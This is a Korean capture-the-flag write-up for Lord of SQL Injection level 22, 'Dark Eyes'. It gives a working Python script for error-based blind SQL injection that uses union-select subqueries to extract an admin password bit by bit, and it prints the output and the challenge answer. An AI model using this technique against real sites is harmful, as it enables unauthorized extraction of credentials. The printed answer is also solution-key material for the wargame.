WarGame/Lord of SQL Injection

[LOSI] Lord of SQL Injection Level 22 - Dark Eyes

으흠; Dark Eyes를 찾으려고 구글을 검색했는데, 진짜 눈알밖에 없다.(이게 진짜 공포 아닐까) 이번에는 사진 없이 바로 코드로 만나보자

 

* 본 포스팅의 해결방법은 Python으로 작성되어있습니다. 코드의 상세한 해석은 아래를 참조 *

2021.04.13 - [WarGame/Lord of SQL Injection] - [LOSI] Lord of SQL Injection Level 4 - Orc

 

[LOSI] Lord of SQL Injection Level 4 - Orc

무서운 몬스터가 우리 앞을 막아섰다. 오크라고 불리는 이 몬스터는.... 심각하게 뚱뚱한 이 몬스터를 쉽게 이길수 없다는 생각이 든다. 일단 코드를 확인하자. * 주의 : 이번 포스팅은 Python을 기

tutoreducto.tistory.com


코드

정확한 pw를 물어보니 역시 blind SQL Injectino을 특히 error based SQL Injection을 이용한 문제풀이이다. 필터링된 문자열로 when, if, case, 등 조건식이 금지된 것을 보니, 이번엔 조건문으로 에러를 발생시키지는 못하겠다. 우회방법을 알아보자

* 특히나 이번에는 ERROR의 결과도 웹페이지에 안 띄운다...

 


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=5a2f5d3c
from requests import get

url = "### Dark EYES의 URL ###"
cookie = dict(PHPSESSID="### 자신의 PHPSESSID ###")
length = 0
password = ''

print("### find for pw length ###")
while(True) :
    param = "?pw=%27%20or%20id=%27admin%27%20and%20(select%201%20union%20select(length(pw)="+str(length)+"))--%20"
    new_url = url+param
    rec = get(new_url,cookies=cookie)
    if(rec.text!="") :
        print("find pw length : "+str(length))
        break
    else :
        print("PLease... : "+str(length))
        length+=1

print("### find for pw ###") 
for i in range(1,length+1) :
    temp_array = ''
    for j in range(1,9) :
        param = "?pw=%27%20or%20id=%27admin%27%20and%20(select 1 union select(substr(lpad(bin(ord(substr(pw,"+str(i)+",1))),8,0),"+str(j)+",1)=1))--%20"
        new_url = url+param
        rec = get(new_url,cookies=cookie)

        if(rec.text!="") :
            temp_array += "1"
        else :
            temp_array += "0"
    password += chr(int(temp_array,base=2))

print("here's your passwrod : "+password)

그렇다. 당연하게도 그냥 서브쿼리를 합쳐서 에러를 발생시킬 수 있다.(만약 두 번째 select가 동작을 안 했으면 >> 거짓이라면 FALSE의 반환으로 Subquery의 반환 row는 1개가 되어(1) 에러가 없을 것이다.)

### find for pw length ###
PLease... : 0
PLease... : 1
PLease... : 2
PLease... : 3
PLease... : 4
PLease... : 5
PLease... : 6
PLease... : 7
find pw length : 8
### find for pw ###
here's your passwrod : 5a2f5d3c

출력은 위와같다.


축하한다. 이로써 ERROR Based SQL Injection의 이해가 깊어졌을 것이라고 생각한다. 다음 관문에서 여러분들을 기다리겠다.